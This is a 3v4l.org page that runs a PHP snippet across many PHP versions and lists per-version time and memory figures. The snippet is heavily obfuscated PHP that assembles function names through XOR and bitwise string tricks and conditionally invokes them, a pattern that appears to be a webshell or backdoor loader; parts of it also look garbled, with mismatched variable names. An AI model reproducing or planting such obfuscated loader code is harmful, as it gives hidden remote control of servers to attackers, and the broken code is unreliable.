3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo'&#39' error_reporting(E_ALL ^ E_NOTICE); $P81J5DkwYm='CQWnk4mSgxD'^apC4zA_i; $Oq9E1Iip7=ouw&'o}='; $qkit='&='.HZ^'IX=+=-';'nyD'.'?'; $ywO_bGCvD='H]'.pTZYkh.'<G}FC'&hTXXRlZLrO.'[{g'; $eBwDr2V=#w50jH83IO7'. ' ,|:F-2>1u@:"'.qgQ1.'<*'^EMR.'"@'.tKU2.'$Ln&)(hkx'; $Arb='>8a'^Mb9;'Tpr'. 'rH-AhDxq'; $Wt0cI9t='(h9'|'}.}'; $ON_=eftg.'/l'|F3FDez; $koJhZ='}'.v.#CF0'. '.=8l`5'&'RVN]m.l}z^H>'; $QgYL=' ".'.DAMT.'%#Q'|' $+(<TH@T-#A'; $GDWkPb='@*'. '%DxM"g#'.HCId.'@^'.ItSA^'xW^sN}@'.OR05.'|Jq./F8|'; $g1MRqXRy=$Oq9E1I&/*_Ikm'. 'Uv*/$Wt0cI9t; $Db_3w=$ON_&$qkit; $_izus6=$koJhZ^$QgYL; $gMYmjr=('@)+G)F"N#2$t'. '$p4″W-,'|'0!&c`v!,0>4$OP0 f#p')^$GDWkPbCn5; $DP7=('5$ C1="E+c.'.g27mr.#DfTy'. '%!'.r0x66.'<22@5x'|'!4(2rc>`3a?!73 '.cH9a.'$`<34("y+P')&('{jWR%O.%1m^R%-<B'. 'f?W@[#q{];'.ZpqKKG^'J_!'.VG.'[U9%XZ@}'.YJf5.'&LDF$'.MaFIt.'<p'); $niZllS=(#'. '{/7p"'.fjlb.' =i,'^';os0}>?,Qd{(l')|$_bGCvD;if($g1MRqXRy($Db_3w(/*BZKHhHPA'. '6X$eO*/$gMYmjrlJc))==$DP7)$_izus6(('=[M{]~o~m}'&'~_W9}>'.iyem),$Db_3w(/*y3′. 'n*/$niZ),$eBwDr2V.$ArvQhb.('lv^9{p'^'"C<T6M'));#medAQT)W(Azd-,JG ?f.Er?2R'. 'z-YAYBxK:@x#4St%.q+_H5^P(XB|+leP9f-{1f';

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.6.140.0000.04318.15
5.6.130.0170.08018.18
5.6.120.0000.05720.99
5.6.110.0130.08321.01
5.6.100.0030.08320.99
5.6.90.0170.08021.01
5.6.80.0100.03320.35
5.6.70.0330.07020.25
5.5.300.0130.07317.95
5.5.290.0030.09017.98
5.5.280.0070.08720.65
5.5.270.0170.07320.79
5.5.260.0000.04320.79
5.5.250.0070.04020.49
5.5.240.0200.07020.18
5.4.450.0200.05019.17
5.4.440.0100.06319.58
5.4.430.0030.07019.38
5.4.420.0200.04719.30
5.4.410.0130.05319.41
5.4.400.0200.05318.84
5.4.390.0200.05019.29
5.4.380.0170.05019.26
5.4.370.0100.05319.14
5.4.360.0100.05719.15
5.4.350.0200.04719.15
5.4.340.0170.05319.24
5.4.320.0100.05719.23
5.4.310.0100.06019.05
5.4.300.0200.05019.05
5.4.290.0170.07319.34
5.4.280.0100.06019.16
5.4.270.0300.06018.86
5.4.260.0200.04718.84
5.4.250.0230.05019.33
5.4.240.0130.06018.84
5.4.230.0130.05319.13
5.4.220.0200.05019.28
5.4.210.0300.04019.34
5.4.200.0230.04319.28
5.4.190.0130.05719.25
5.4.180.0270.04019.13
5.4.170.0300.05019.25
5.4.160.0170.05018.99
5.4.150.0370.04719.23
5.4.140.0130.05316.45
5.4.130.0070.05016.51
5.4.120.0100.05316.41
5.4.110.0130.05016.52
5.4.100.0300.04316.53
5.4.90.0270.05316.43
5.4.80.0270.04316.41
5.4.70.0130.05016.61
5.4.60.0070.05716.25
5.4.50.0130.05016.58
5.4.40.0130.05016.49
5.4.30.0200.04716.64
5.4.20.0170.05016.16
5.4.10.0270.06016.54
5.4.00.0170.05015.88

preferences:
142.11 ms | 1394 KiB | 7 Q